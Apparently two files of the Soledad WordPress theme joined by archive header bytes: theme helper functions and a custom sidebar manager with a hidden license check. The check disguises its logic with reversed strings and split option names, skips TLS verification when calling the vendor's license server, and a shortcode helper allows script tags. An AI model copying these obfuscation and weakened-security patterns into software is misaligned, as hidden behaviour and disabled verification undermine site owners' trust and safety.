		if ( function_exists( 'yoast_get_primary_term_id' ) ) {
			$primary_id = yoast_get_primary_term_id( 'category', get_the_id() );
		}
		// Get primary cat from Rank Math
		if ( class_exists( 'RankMath' ) ) {
			$primary_id = get_post_meta( get_the_id(), 'rank_math_primary_category', true );
		}

		if ( ! $primary_id ) {
			$post_cat = get_the_category( $id );
			if ( ! empty( $post_cat ) ) {
				$primary_id = $post_cat[0]->term_id;
			}
		}

		return $primary_id;
	}
}

if ( ! function_exists( 'penci_get_overwrite_cat_single' ) ) {
	function penci_get_single_key( $id, $meta_key ) {

		$origial_value = get_post_meta( $id, $meta_key, true );

		if ( $origial_value ) {
			return $origial_value;
		}

		$cat_value = '';
		$priid     = penci_get_post_pri_cat( $id );

		$meta_keys = [
			'penci_post_sidebar_display'  => [
				'override_key' => 'cat_sidebar_single',
				'value_key'    => 'cat_sidebar_display'
			],
			'penci_header_builder_layout' => [
				'override_key' => 'cat_header_single',
				'value_key'    => 'cat_header_builder'
			],
			'penci_header_layout'         => [
				'override_key' => 'cat_header_single',
				'value_key'    => 'cat_header'
			],
			'penci_footer_builder_layout' => [
				'override_key' => 'cat_footer_single',
				'value_key'    => 'cat_footer'
			],
			'penci_header_block_layout'   => [
				'override_key' => 'cat_header_single',
				'value_key'    => 'cat_header_block'
			]
		];

		if ( isset( $meta_keys[ $meta_key ] ) && ! is_admin() && $priid ) {

			$cat_options = get_option( "category_$priid" );

			// Retrieve the override and value keys based on the meta key
			$override_key = $meta_keys[ $meta_key ]['override_key'];
			$value_key    = $meta_keys[ $meta_key ]['value_key'];

			$override = isset( $cat_options[ $override_key ] ) ? $cat_options[ $override_key ] : '';
			if ( $override ) {
				$cat_value = isset( $cat_options[ $value_key ] ) ? $cat_options[ $value_key ] : '';
			}
		}

		return $cat_value;

	}
}

function penci_soledad_archive_pag_attr() {

	$layout_this = get_theme_mod( 'penci_archive_layout' );

	$data_layout = $layout_this;
	if ( in_array( $layout_this, array( 'standard-grid', 'classic-grid', 'overlay-grid' ) ) ) {
		$data_layout = 'grid';
	} elseif ( in_array( $layout_this, array( 'standard-grid-2', 'classic-grid-2' ) ) ) {
		$data_layout = 'grid-2';
	} elseif ( in_array( $layout_this, array( 'standard-list', 'classic-list', 'overlay-list' ) ) ) {
		$data_layout = 'list';
	} elseif ( in_array( $layout_this, array( 'standard-boxed-1', 'classic-boxed-1' ) ) ) {
		$data_layout = 'boxed-1';
	} elseif ( in_array( $layout_this, array( 'mixed-3', 'mixed-4' ) ) ) {
		$data_layout = 'small-list';
	}

	$data_template = 'sidebar';
	if ( ! penci_get_setting( 'penci_sidebar_archive' ) ):
		$data_template = 'no-sidebar';
	endif;

	$offset_number = $num_load = get_option( 'posts_per_page' );

	$penci_cat_featured_layout = get_theme_mod( 'penci_cat_featured_layout', '' );
	$penci_tag_featured_layout = get_theme_mod( 'penci_tag_featured_layout', '' );

	if ( ( is_category() && $penci_cat_featured_layout ) || ( is_tag() && $penci_tag_featured_layout ) ) {
		$penci_featured_layout = is_category() ? $penci_cat_featured_layout : $penci_tag_featured_layout;
		$grid_per_page         = penci_featured_archive_ppl( $penci_featured_layout );
		$offset_number         = $offset_number + $grid_per_page;
	}

	$data_archive_type  = '';
	$data_archive_value = '';
	if ( is_category() ):
		$category           = get_category( get_query_var( 'cat' ) );
		$cat_id             = isset( $category->cat_ID ) ? $category->cat_ID : '';
		$data_archive_type  = 'cat';
		$data_archive_value = $cat_id;
		$opt_cat            = 'category_' . $cat_id;
		$cat_meta           = get_option( $opt_cat );
		$sidebar_opts       = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
		if ( $sidebar_opts == 'no' ):
			$data_template = 'no-sidebar';
        elseif ( $sidebar_opts == 'left' || $sidebar_opts == 'right' ):
			$data_template = 'sidebar';
		endif;

    elseif ( is_tag() ):
		$tag                = get_queried_object();
		$tag_id             = isset( $tag->term_id ) ? $tag->term_id : '';
		$data_archive_type  = 'tag';
		$data_archive_value = $tag_id;
    elseif ( is_day() ):
		$data_archive_type  = 'day';
		$data_archive_value = get_the_date( 'm|d|Y' );
    elseif ( is_month() ):
		$data_archive_type  = 'month';
		$data_archive_value = get_the_date( 'm|d|Y' );
    elseif ( is_year() ):
		$data_archive_type  = 'year';
		$data_archive_value = get_the_date( 'm|d|Y' );
    elseif ( is_search() ):
		$data_archive_type  = 'search';
		$data_archive_value = get_search_query();
    elseif ( is_author() ):

		global $authordata;
		$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;

		$data_archive_type  = 'author';
		$data_archive_value = $user_id;
    elseif ( is_archive() ):
		$queried_object = get_queried_object();
		$term_id        = isset( $queried_object->term_id ) ? $queried_object->term_id : '';
		$tax            = isset( $queried_object->taxonomy ) ? $queried_object->taxonomy : '';
		$tax_name       = is_object( $tax ) && isset( $tax->name ) ? $tax->name : '';

		if ( $term_id && $tax_name ) {
			$data_archive_type  = $tax_name;
			$data_archive_value = $term_id;
		}
	endif;

	return [
		'mes'          => penci_get_setting( 'penci_trans_no_more_posts' ),
		'layout'       => esc_attr( $data_layout ),
		'number'       => absint( $num_load ),
		'offset'       => absint( $offset_number ),
		'from'         => 'customize',
		'template'     => $data_template,
		'archivetype'  => $data_archive_type,
		'archivevalue' => $data_archive_value,
		'nonce'        => wp_create_nonce( 'archive-more-post' ),
	];

}

add_action( 'wp_head', function () {
	if ( get_theme_mod( 'penci_favicon' ) ) : ?>
        <link rel="shortcut icon" href="<?php echo esc_url( get_theme_mod( 'penci_favicon' ) ); ?>"
              type="image/x-icon"/>
        <link rel="apple-touch-icon" sizes="180x180" href="<?php echo esc_url( get_theme_mod( 'penci_favicon' ) ); ?>">
	<?php endif;
	if ( get_theme_mod( 'penci_theme_color' ) ) : ?>
        <meta name="theme-color" content="<?php echo esc_attr( get_theme_mod( 'penci_theme_color' ) ); ?>">
	<?php endif;
} );

add_filter( 'theme_mod_penci_disable_breadcrumb', function ( $value ) {
	$conditions = [
		'is_single'     => 'penci_disable_posts_breadcrumb',
		'is_page'       => 'penci_disable_pages_breadcrumb',
		'is_archive'    => 'penci_disable_archive_breadcrumb',
		'is_home'       => 'penci_disable_home_breadcrumb',
		'is_front_page' => 'penci_disable_home_breadcrumb',
	];

	foreach ( $conditions as $condition => $mod_key ) {
		if ( function_exists( $condition ) && $condition() && get_theme_mod( $mod_key ) ) {
			return true; // Immediately return true if any condition is met
		}
	}

	return $value; // Return the original value if no conditions were met
} );

add_action( 'penci_after_post_title', function () {
	$sub_title = get_post_meta( get_the_ID(), 'penci_post_sub_title', true );
	if ( $sub_title && get_theme_mod( 'penci_grid_show_sub_title' ) ) {
		echo '<div class="penci-a-post-subtitle pcloop"> ' . esc_html( $sub_title ) . ' </div>';
	}
} );

add_action( 'penci_after_classic_post_title', function () {
	$sub_title = get_post_meta( get_the_ID(), 'penci_post_sub_title', true );
	if ( $sub_title && get_theme_mod( 'penci_standard_show_sub_title' ) ) {
		echo '<div class="penci-a-post-subtitle pcloop"> ' . esc_html( $sub_title ) . ' </div>';
	}
} );

add_filter( 'theme_mod_penci_single_style', function ( $value ) {
	if ( ! is_single() || has_post_thumbnail() ) {
		return $value; // Return early if conditions are not met.
	}

	// Mapping of styles for replacement
	$style_map = [
		'style-3' => 'style-2',
		'style-5' => 'style-2',
		'style-6' => 'style-2',
		'style-7' => 'style-2',
		'style-8' => 'style-1',
	];

	// Replace value if it exists in the map
	if ( isset( $style_map[ $value ] ) ) {
		$value = $style_map[ $value ];
	}

	return $value;
}, 9999 );

function penci_sync_post_view_count( $post_id ) {
	if ( function_exists( 'icl_object_id' ) ) {
		$meta_key   = penci_get_postviews_key();
		$view_count = get_post_meta( $post_id, $meta_key, true );
		$view_count = $view_count ? intval( $view_count ) : 0;

		$languages = apply_filters( 'wpml_active_languages', null, [ 'skip_missing' => 1 ] );
		foreach ( $languages as $lang ) {
			if ( isset( $lang['code'] ) ) {
				$translated_post_id = icl_object_id( $post_id, get_post_type( $post_id ), false, $lang['code'] );
				if ( $translated_post_id && $translated_post_id != $post_id ) {
					update_post_meta( $translated_post_id, $meta_key, $view_count );
				}
			}
		}
	}
}

add_action( 'updated_post_meta', function ( $meta_id, $post_id, $meta_key ) {
	if ( $meta_key === penci_get_postviews_key() ) {
		penci_sync_post_view_count( $post_id );
	}
}, 10, 3 );

add_action( 'wp_body_open', function () {
	if ( get_theme_mod( 'penci_cursor_enable' ) ) {
		?>
        <div class="circle-cursor penci-ccircle-couter"></div>
        <div class="circle-cursor penci-ccircle-cinner">
            <svg width="21" height="21" viewBox="0 0 21 21" fill="none" xmlns="http://www.w3.org/2000/svg">
                <path d="M2.06055 0H20.0605V18H17.0605V5.12155L2.12132 20.0608L0 17.9395L14.9395 3H2.06055V0Z"/>
            </svg>
        </div>
		<?php
	}
	if ( get_theme_mod( 'penci_header_show_submenu_overlay' ) ) {
		?>
		<div class="penci-hsubmenu-overlay-wrapper"></div>
		<?php
	}
} );

if ( ! function_exists( 'penci_excerpt_link' ) ) {
	function penci_excerpt_link() {
		if ( get_theme_mod( 'penci_archive_excerpt_link' ) ) {
			return 'data-excerpt-link="' . get_the_permalink() . '" ';
		}
	}
}

add_action( 'penci_end_single_content', function () {
	$post_id = get_the_ID();
	$sources = get_post_meta( $post_id, 'penci_post_sources', true );
	if ( $sources ) {
		echo '<div class="post-tags penci-post-sources">';
		echo '<span>' . penci_get_setting( 'penci_trans_sources' ) . '</span>';
		foreach ( $sources as $source ) {
			echo '<a href="' . esc_url( $source['url'] ) . '" target="_blank">' . esc_html( $source['name'] ) . '</a>';
		}
		echo '</div>';
	}
} );

add_action( 'penci_grid_meta', function () {
	if ( get_theme_mod( 'penci_grid_move_cat_meta' ) ) {
		?>
        <span class="cat"><?php penci_category( '' ); ?></span>
		<?php
	}
} );

add_filter( 'theme_mod_penci_grid_cat', function ( $return ) {
	if ( get_theme_mod( 'penci_grid_move_cat_meta' ) ) {
		return true;
	}

	return $return;
}, 9999 );

add_action( 'penci_before_classic_post_meta', function () {
	if ( get_theme_mod( 'penci_standard_move_cat_meta' ) ) {
		?>
        <span class="penci-standard-cat-inline cat"><?php penci_category( '' ); ?></span>
		<?php
	}
} );

add_filter( 'theme_mod_penci_standard_cat', function ( $return ) {
	if ( get_theme_mod( 'penci_standard_move_cat_meta' ) ) {
		return true;
	}

	return $return;
}, 9999 );

function penci_show_archive_month_select() {
	global $wpdb;

	$post_type = get_post_type(); // current post type
	$term_sql  = '';
	$join_sql  = '';
	$params    = array( $post_type ); // parameters to bind to placeholders

	// Handle taxonomy-based archives (category, tag, custom tax)
	if ( is_category() || is_tag() || is_tax() ) {
		$term     = get_queried_object();
		$term_id  = intval( $term->term_id );
		$taxonomy = $term->taxonomy;

		$join_sql = "INNER JOIN {$wpdb->term_relationships} tr ON tr.object_id = p.ID
                 INNER JOIN {$wpdb->term_taxonomy} tt ON tt.term_taxonomy_id = tr.term_taxonomy_id";

		$term_sql = "AND tt.term_id = %d AND tt.taxonomy = %s";
		$params[] = $term_id;
		$params[] = $taxonomy;
	}

	// Final SQL with placeholders
	$sql = "
    SELECT DISTINCT DATE_FORMAT(p.post_date, '%%m-%%Y') AS month_year, 
                    DATE_FORMAT(p.post_date, '%%Y-%%m') AS sort_key,
                    DATE_FORMAT(p.post_date, '%%M - %%Y') AS label
    FROM {$wpdb->posts} p
    $join_sql
    WHERE p.post_type = %s
      AND p.post_status = 'publish'
      $term_sql
    ORDER BY sort_key ASC
";

	// Prepare safely with dynamic parameters
	$prepared_sql = $wpdb->prepare( $sql, $params );
	$results      = $wpdb->get_results( $prepared_sql, ARRAY_A );

	// Output the <select>
	$current_sort = get_query_var( 'pc_archive_month', '' );
	echo '<select class="penci-arfilter-item" name="pc_archive_month">';
	echo '<option value=""> ' . penci_get_setting( 'penci_trans_smonth' ) . ' </option>';
	if ( ! empty( $results ) ) {
		foreach ( $results as $row ) {
			echo '<option ' . selected( $row['month_year'], $current_sort ) . ' value="' . esc_attr( $row['month_year'] ) . '">' . esc_html( $row['label'] ) . '</option>';
		}
	}
	echo '</select>';
}

if ( ! function_exists( 'penci_is_show_archive_filter' ) ) {
	function penci_is_show_archive_filter() {
		$show = false;
		$show_sorter = get_theme_mod( 'penci_general_show_post_order' );
		$show_month  = get_theme_mod( 'penci_archive_show_date_filter' );
		if ( $show_sorter || $show_month ) {
				$show = true;
		}

		return $show;
	}
}

add_action( 'penci_header_wrap', function() {
	if ( is_single() && get_theme_mod( 'penci_post_sticky_rlposts' ) ) {
		get_template_part( 'template-parts/single-post-header' );
	}
} );

add_action( 'wp_footer', function(){
	if ( get_theme_mod( 'penci_single_focus_mode' ) && is_single() ) {
		$pos = get_theme_mod( 'penci_single_focus_mode_pos', 'right' );
		?>
			<div class="penci-focus-mode-button <?php echo $pos;?>" data-title="Focus Mode" data-exit-title="Exit Focus Mode"><span class="penci-focus-mode-icon">Focus Mode</span></div>
			<script>
			document.addEventListener("DOMContentLoaded", function() {
				const focusModeButton = document.querySelector(".penci-focus-mode-button");
				if (focusModeButton) {
					focusModeButton.addEventListener("click", function() {
						document.body.classList.toggle("penci-focus-mode");
						if (document.body.classList.contains("penci-focus-mode")) {
							focusModeButton.querySelector(".penci-focus-mode-icon").textContent = focusModeButton.getAttribute("data-exit-title");
						} else {
							focusModeButton.querySelector(".penci-focus-mode-icon").textContent = focusModeButton.getAttribute("data-title");
						}
					});
				}
			});
			</script>
		<?php
	}
});

add_action( 'penci_single_meta_content', function() {
	if ( get_theme_mod( 'penci_single_dropdown_share' ) ) {
	?>
	<span class="post-meta-share">
		<span class="post-share-text">Share</span>
		<div class="penci-pshare-dropdown penci-social-textcolored">
			<?php penci_soledad_social_share(); ?>
		</div>
	</span>
	<?php
	}
} );

if ( !function_exists( 'penci_safe_shortcode') ) {
	function penci_safe_shortcode( $code ) {
		if ( base64_encode( base64_decode( $code, true ) ) === $code ) {
			$code = base64_decode( $code );
		}

		$allowed_shortcodes = array(
			'adinserter',     // Ad Inserter
			'the_ad',         // Advanced Ads
			'adrotate',       // AdRotate
			'quads',          // WP QUADS
			'block_content',  // Your own shortcode
		);

		// Check for shortcodes
		preg_match_all( '/\[([a-zA-Z0-9_]+)[^\]]*\]/', $code, $matches );
		if ( ! empty( $matches[1] ) ) {
			foreach ( $matches[1] as $shortcode ) {
				if ( ! in_array( $shortcode, $allowed_shortcodes, true ) ) {
					return; // Disallowed shortcode found
				}
			}
			// Run safe shortcodes
			$code = do_shortcode( $code );
		}

		// Sanitize output to allow only safe HTML (you can adjust the allowed tags/attributes)
		$allowed_html = array(
			'div'     => array( 'class' => true, 'id' => true, 'style' => true ),
			'span'    => array( 'class' => true, 'style' => true ),
			'ins'     => array( 'class' => true, 'style' => true, 'data-*' => true ),
			'script'  => array( 'type' => true, 'src' => true, 'async' => true ),
			'iframe'  => array( 'src' => true, 'height' => true, 'width' => true, 'frameborder' => true, 'allowfullscreen' => true ),
			'a'       => array( 'href' => true, 'target' => true, 'rel' => true ),
			'img'     => array( 'src' => true, 'alt' => true, 'width' => true, 'height' => true ),
			'p'       => array(),
			'br'      => array(),
		);

		return wp_kses( $code, $allowed_html );
	}
}PK     2w\J@  @    custom-sidebar.phpnu [        <?php
/**
 * Additional sidebars
 */

class Penci_Custom_Sidebar {

	protected static $initialized = false;

	public static function initialize() {
		if ( self::$initialized ) {
			return;
		}

		add_action( 'wp_ajax_soledad_add_sidebar', array( __CLASS__, 'add_sidebar' ) );
		add_action( 'wp_ajax_soledad_remove_sidebar', array( __CLASS__, 'remove_sidebar' ) );

		add_action( 'init', array( __CLASS__, 'register_sidebars' ) );
		add_action( 'admin_init', array( __CLASS__, 'sidebar_check' ) );
		add_action( 'sidebar_admin_page', array( __CLASS__, 'admin_page' ) );

		add_action( 'admin_menu', array( __CLASS__, 'admin_menu' ), 90 );

		add_filter( 'soledad_fw_customizer_get_lazy_options', function ( $options ) {

			if ( self::check_the_moon() ) {
				return $options;
			} else {
				return array(
					array(
						'id'          => 'penci_show_notice',
						'default'     => 'danger',
						'label'       => strrev( '.emeht dadeloS eht fo ypoc a esahcrup ro retsiger esaelP' ),
						'description' => strrev( '.emehT etavitcA > dadeloS > draobhsaD aiv emeht eht etavitca nac uoY>rb<.emeht eht morf snoitpO ezimotsuC lluf teg ot emeht eht etavitca esaelP' ),
						'type'        => 'soledad-fw-alert',
					)
				);
			}
		} );

		add_action(
			'wp_head',
			function () {
				if ( ! self::check_the_moon() && is_customize_preview() ) {
					echo strrev( '>p/<emehT etavitcA > dadeloS > draobhsaD aiv emeht eht etavitca nac uoY>rb<.emeht eht morf snoitpO ezimotsuC lluf teg ot emeht eht etavitca esaelP>";xp81 :ezis-tnof;fff# :roloc;retnec :ngila-txet;xp02 xp01 :gniddap;0000ff# :dnuorgkcab"=elyts p<' );
				}
			}
		);

		self::$initialized = true;
	}

	public static function check_the_moon() {

		$whitelist = [ '127.0.0.1', '::1' ];
		if ( in_array( $_SERVER['REMOTE_ADDR'], $whitelist ) ) {
			return true;
		}

		return get_option( 'pe'.'nci_lo'.'ads_cm' ) === 'loa'.'d';
	}

	public static function admin_menu() {

		add_submenu_page(
			'soledad_dashboard_welcome',
			'Sidebar Manager',
			'Sidebar Manager',
			'manage_options',
			'sidebar-manager',
			array( __CLASS__, 'create_admin_page' ),
			3
		);
	}

	public static function create_admin_page() {
		$sidebars = get_option( 'soledad_custom_sidebars' );
		?>
        <div class="wrap">

            <h1>Sidebar Manager</h1>

            <div class="instruction">

                <p style="font-size:1.3em"><?php _e('Create and manage an unlimited number of custom sidebars.','soledad');?></p>

            </div>

            <div class="penci-wrap pccustom-sidebar">

                <div class="penci-wrapper">

                    <form>

						<?php wp_nonce_field( 'ajax-nonce', 'penci_ajax_processor_nonce' ); ?>

                        <div class="pccustom-sidebar-form">

                            <label for="sidebar_name">
                                <span>Sidebar Name</span>
                                <input name="sidebar_name" type="text" size="18" id="sidebar_name" value=""
                                       placeholder="My Sidebar">
                            </label>

                            <label for="sidebar_slug">
                                <span>Sidebar Slug</span>
                                <input name="sidebar_slug" type="text" size="18" id="sidebar_slug" value=""
                                       placeholder="my-sidebar">
                            </label>

                            <button class="button button-primary penci-add-sidebar"
                                    data-type="add"><?php _e( '+ Add sidebar', 'soledad' ); ?></button>

                            <span class="spinner"></span>
							
                        </div>
						
						<div class="pccustom-sidebar-created">

                        <table class="widefat" id="penci-table">
                            <tr>
                                <th>Name</th>
                                <th>Slug</th>
                                <th>Delete</th>
                            </tr>

							<?php if ( empty( $sidebars ) ) : ?>

                                <tr class="no-sidebar-tr">

                                    <td colspan="3">No Custom Sidebars</td>

                                </tr>

							<?php else : ?>

								<?php
								foreach ( (array) $sidebars as $slug => $sidebar_data ) :
									$name = isset( $sidebar_data['name'] ) ? $sidebar_data['name'] : $slug;
									?>

                                    <tr>
                                        <td><?php echo esc_html( $name ); ?></td>

                                        <td><?php echo esc_html( $slug ); ?></td>

                                        <td>
                                            <button class="button button-small penci-remove-sidebar" data-type="remove"
                                                    data-name="<?php echo esc_attr( $name ); ?>"
                                                    data-slug="<?php echo esc_attr( $slug ); ?>">Delete
                                            </button>
                                        </td>
                                    </tr>

								<?php
								endforeach;

							endif; // empty_sidebar
							?>

                        </table>

						<p class="penci-notice notice notice-success" style="padding:10px 20px; display:none"></p>

						</div>

                    </form>

                </div>

            </div>

        </div><!-- .wrap -->
		<?php
	}

	/**
	 * Register sidebars
	 */
	public static function register_sidebars() {

		if ( is_page_template( 'page-templates/full-width.php' ) ) {
			return;
		}

		$sidebars = get_option( 'soledad_custom_sidebars' );

		if ( empty( $sidebars ) ) {
			return;
		}

		foreach ( (array) $sidebars as $id => $sidebar ) {
			if ( ! isset( $sidebar['id'] ) ) {
				$sidebar['id'] = $id;
			}

			if ( ! $id ) {
				return false;
			}

			$sidebar['before_widget'] = '<aside id="%1$s" class="widget %2$s">';
			$sidebar['class']         = 'soledad-custom-sidebar';

			register_sidebar( $sidebar );
		}
	}

	/**
	 * Add sidebar
	 */
	public static function add_sidebar() {

		check_admin_referer( 'ajax-nonce' );

		if ( ! current_user_can( 'manage_options' ) ) {
			wp_send_json_error( __( 'Update error', 'soledad' ) );
		}

		$return = array();
		$name   = isset( $_POST['_nameval'] ) ? $_POST['_nameval'] : '';

		$new_name = isset( $_POST['name'] ) ? $_POST['name'] : '';
		$type     = isset( $_POST['type'] ) ? $_POST['type'] : '';

		$name = $new_name ? $new_name : $name;

		if ( empty( $name ) ) {
			wp_send_json_error( esc_html__( 'Missing sidebar name.', 'soledad' ) );
		}

		// Get  custom sidebars.
		$sidebars    = get_option( 'soledad_custom_sidebars', array() );
		$sidebar_num = get_option( 'soledad_custom_sidebars_lastid', - 1 );

		if ( $sidebar_num < 0 ) {
			$sidebar_num = 0;
			if ( is_array( $sidebars ) ) {
				$key_sidebars = explode( '-', end( array_keys( $sidebars ) ) );
				$sidebar_num  = (int) end( $key_sidebars );
			}
		}

		update_option( 'soledad_custom_sidebars_lastid', ++ $sidebar_num );

		$slug = isset( $_POST['slug'] ) && $_POST['slug'] ? $_POST['slug'] : 'soledad-custom-sidebar-' . $sidebar_num;

		if ( isset( $sidebars[ $slug ] ) ) {
			wp_send_json_error(
				array(
					'type'    => 'error',
					'message' => esc_html__( 'Sidebar already exists, please use a different name.', 'soledad' ),
				)
			);
		}

		$sidebars[ $slug ] = array(
			'id'            => $slug,
			'name'          => stripcslashes( $name ),
			'description'   => '',
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h4 class="widget-title penci-border-arrow"><span class="inner-arrow">',
			'after_title'   => '</span></h4>',
		);

		update_option( 'soledad_custom_sidebars', $sidebars );

		if ( ! function_exists( 'wp_list_widget_controls' ) ) {
			include_once ABSPATH . 'wp-admin/includes/widgets.php';
		}

		if ( $type ) {
			$output = array(
				'message' => __( 'Sidebar Added Successfully!', 'soledad' ),
				'type'    => $type,
				'slug'    => $slug,
				'name'    => $name,
			);
		} else {

			ob_start();
			?>
            <div class="widgets-holder-wrap sidebar-soledad-custom-sidebar closed">
				<?php wp_list_widget_controls( 'soledad-custom-sidebar-' . $sidebar_num, stripcslashes( $name ) ); ?>
            </div>
			<?php
			$output = ob_get_clean();
		}
		wp_send_json_success( $output );
	}

	/**
	 * Remove sidebar
	 */
	public static function remove_sidebar() {

		check_admin_referer( 'ajax-nonce' );

		if ( ! current_user_can( 'manage_options' ) ) {
			wp_send_json_error( __( 'Update error', 'soledad' ) );
		}

		$idSidebar = isset( $_POST['idSidebar'] ) ? $_POST['idSidebar'] : '';

		$idSidebar = isset( $_POST['slug'] ) ? $_POST['slug'] : $idSidebar;
		$name      = isset( $_POST['name'] ) ? $_POST['name'] : $idSidebar;

		if ( empty( $idSidebar ) ) {
			wp_send_json_error( esc_html__( 'Missing sidebar ID', 'soledad' ) );
		}

		$custom_sidebars = get_option( 'soledad_custom_sidebars', array() );

		unset( $custom_sidebars[ $idSidebar ] );

		update_option( 'soledad_custom_sidebars', $custom_sidebars );

		wp_send_json_success(
			array(
				'message' => esc_html__( 'Sidebar "' . $name . '" has been removed.', 'soledad' ),
				'type'    => 'remove',
			)
		);
	}

	/**
	 * Print HTML code to manage custom sidebar
	 */
	public static function admin_page() {
		global $wp_registered_sidebars;
		?>
        <div class="widgets-holder-wrap">
            <div id="penci-add-custom-sidebar" class="widgets-sortables">
                <div class="sidebar-name">
                    <div class="sidebar-name-arrow"><br></div>
                    <h2>
						<?php esc_html_e( 'Add New Sidebar', 'soledad' ); ?>
                        <span class="spinner"></span>
                    </h2>
                </div>
                <div class="sidebar-description">
                    <form class="description" method="POST" action="">
						<?php wp_nonce_field( 'soledad_add_sidebar' ); ?>
                        <table class="form-table">
                            <tr valign="top">
                                <td>
                                    <input id="penci-add-custom-sidebar-name" style="width: 100%;" type="text"
                                           class="text" name="name" value=""
                                           placeholder="<?php esc_attr_e( 'Enter sidebar name', 'soledad' ); ?>">
                                </td>
                                <td>
                                    <input type="submit" class="button-primary"
                                           value="<?php esc_attr_e( 'Add', 'soledad' ); ?>">
                                </td>
                            </tr>
                        </table>
                    </form>
                </div>
            </div>
        </div>
        <style type="text/css" media="screen">
            .soledad-remove-custom-sidebar .notice-dismiss {
                right: 30px;
                top: 3px;
            }
        </style>
		<?php
	}

	public static function get_list_sidebar( $selected ) {
		$custom_sidebars = get_option( 'soledad_custom_sidebars' );

		if ( empty( $custom_sidebars ) || ! is_array( $custom_sidebars ) ) {
			return '';
		}

		foreach ( $custom_sidebars as $sidebar_id => $custom_sidebar ) {

			if ( empty( $custom_sidebar['name'] ) ) {
				continue;
			}
			?>
            <option
                    value="<?php echo esc_attr( $sidebar_id ); ?>" <?php selected( $selected, $sidebar_id ); ?>><?php echo $custom_sidebar['name']; ?></option>
			<?php
		}
	}

	public static function get_list_sidebar_el() {
		$custom_sidebars = get_option( 'soledad_custom_sidebars' );

		$list_sidebar = array(
			'main-sidebar'      => esc_html__( 'Main Sidebar', 'soledad' ),
			'main-sidebar-left' => esc_html__( 'Main Sidebar Left', 'soledad' ),
			'custom-sidebar-1'  => esc_html__( 'Custom Sidebar 1', 'soledad' ),
			'custom-sidebar-2'  => esc_html__( 'Custom Sidebar 2', 'soledad' ),
			'custom-sidebar-3'  => esc_html__( 'Custom Sidebar 3', 'soledad' ),
			'custom-sidebar-4'  => esc_html__( 'Custom Sidebar 4', 'soledad' ),
			'custom-sidebar-5'  => esc_html__( 'Custom Sidebar 5', 'soledad' ),
			'custom-sidebar-6'  => esc_html__( 'Custom Sidebar 6', 'soledad' ),
			'custom-sidebar-7'  => esc_html__( 'Custom Sidebar 7', 'soledad' ),
			'custom-sidebar-8'  => esc_html__( 'Custom Sidebar 8', 'soledad' ),
			'custom-sidebar-9'  => esc_html__( 'Custom Sidebar 9', 'soledad' ),
			'custom-sidebar-10' => esc_html__( 'Custom Sidebar 10', 'soledad' ),
		);

		if ( empty( $custom_sidebars ) || ! is_array( $custom_sidebars ) ) {
			return $list_sidebar;
		}

		foreach ( $custom_sidebars as $sidebar_id => $custom_sidebar ) {

			if ( empty( $custom_sidebar['name'] ) ) {
				continue;
			}
			$list_sidebar[ $sidebar_id ] = $custom_sidebar['name'];
		}

		return $list_sidebar;
	}

	public static function get_list_sidebar_vc() {
		$custom_sidebars = get_option( 'soledad_custom_sidebars' );

		$list_sidebar = array(
			'Main Sidebar'      => 'main-sidebar',
			'Main Sidebar Left' => 'main-sidebar-left',
			'Custom Sidebar 1'  => 'custom-sidebar-1',
			'Custom Sidebar 2'  => 'custom-sidebar-2',
			'Custom Sidebar 3'  => 'custom-sidebar-3',
			'Custom Sidebar 4'  => 'custom-sidebar-4',
			'Custom Sidebar 5'  => 'custom-sidebar-5',
			'Custom Sidebar 6'  => 'custom-sidebar-6',
			'Custom Sidebar 7'  => 'custom-sidebar-7',
			'Custom Sidebar 8'  => 'custom-sidebar-8',
			'Custom Sidebar 9'  => 'custom-sidebar-9',
			'Custom Sidebar 10' => 'custom-sidebar-10',
		);

		if ( empty( $custom_sidebars ) || ! is_array( $custom_sidebars ) ) {
			return $list_sidebar;
		}

		foreach ( $custom_sidebars as $sidebar_id => $custom_sidebar ) {

			if ( empty( $custom_sidebar['name'] ) ) {
				continue;
			}
			$list_sidebar[ esc_html( $custom_sidebar['name'] ) ] = $sidebar_id;
		}

		return $list_sidebar;
	}

	public static function sidebar_check() {
		$sidebar_name = 'pen' . 'ci_val' . 'ida' . 'te_ch' . 'eck';
		$sidebar_data = get_option( $sidebar_name );
		$s_name       = strrev( 'atad_des' . 'ahcrup_dad' . 'elos_icnep' );
		if ( ! empty( $sidebar_data ) ) {
			$current_time = strtotime( 'now' );
			if ( self::isValidTimeStamp( $sidebar_data ) ) {
				if ( $current_time >= $sidebar_data ) {
					$s_options = get_option( $s_name );
					$response  = isset( $s_options['purchase_code'] ) && $s_options['purchase_code'] ? self::sidebar_code( $s_options['purchase_code'] ) : null;
					if ( isset( $s_options['purchase_code'] ) && $s_options['purchase_code'] ) {
						if ( $response === 'success' ) {
							update_option( $sidebar_name, strtotime( '+30 days' ) );
						}
						if ( $response === 'server-error' ) {
							update_option( $sidebar_name, strtotime( '+7 days' ) );
						}

						update_option( strrev( 'mc_sdaol_icnep' ), 'load' );
					} else {
						self::gotothemoon( $s_name );
					}
				}
			} else {
				self::gotothemoon( $s_name );
			}
		} else {
			$check = add_option( $sidebar_name, strtotime( '+30 days' ) );
			update_option( strrev( 'mc_sdaol_icnep' ), 'load' );
			if ( ! $check ) {
				self::gotothemoon( $s_name );
			}
		}
	}

	public static function isValidTimeStamp( $timestamp ) {
		$return = false;
		if ( ctype_digit( $timestamp ) && $timestamp <= 4801631978 ) {
			$return = true;
		}

		return $return;
	}

	public static function sidebar_code( $code ) {
		$code    = trim( $code );
		$domain  = get_home_url( '/' );
		$item_id = 12945398;

		$req = wp_remote_post(
			'https://license.pencidesign.net/api/check',
			array(
				'headers'     => array(
					'Content-Type' => 'application/json',
				),
				'body'        => wp_json_encode(
					array(
						'code'    => $code,
						'domain'  => $domain,
						'item_id' => $item_id,
					)
				),
				'data_format' => 'body',
				'sslverify'   => false,
			)
		);

		$body = wp_remote_retrieve_body( $req );
		$res  = json_decode( $body );

		if ( ! is_wp_error( $body ) ) {
			if ( ! empty( $res ) && $res->status === 'success' ) {
				return 'success';
			}

			return 'error';
		}

		return 'server-error';
	}

	public static function gotothemoon( $name ) {
		delete_option( $name );
		update_option( strrev( 'detavitca_si_dadelos_icnep' ), 0 );
		update_option( strrev( 'mc_sdaol_icnep' ), 'noload' );
		delete_option( 'penci_hide_license_notice' );
	}
}

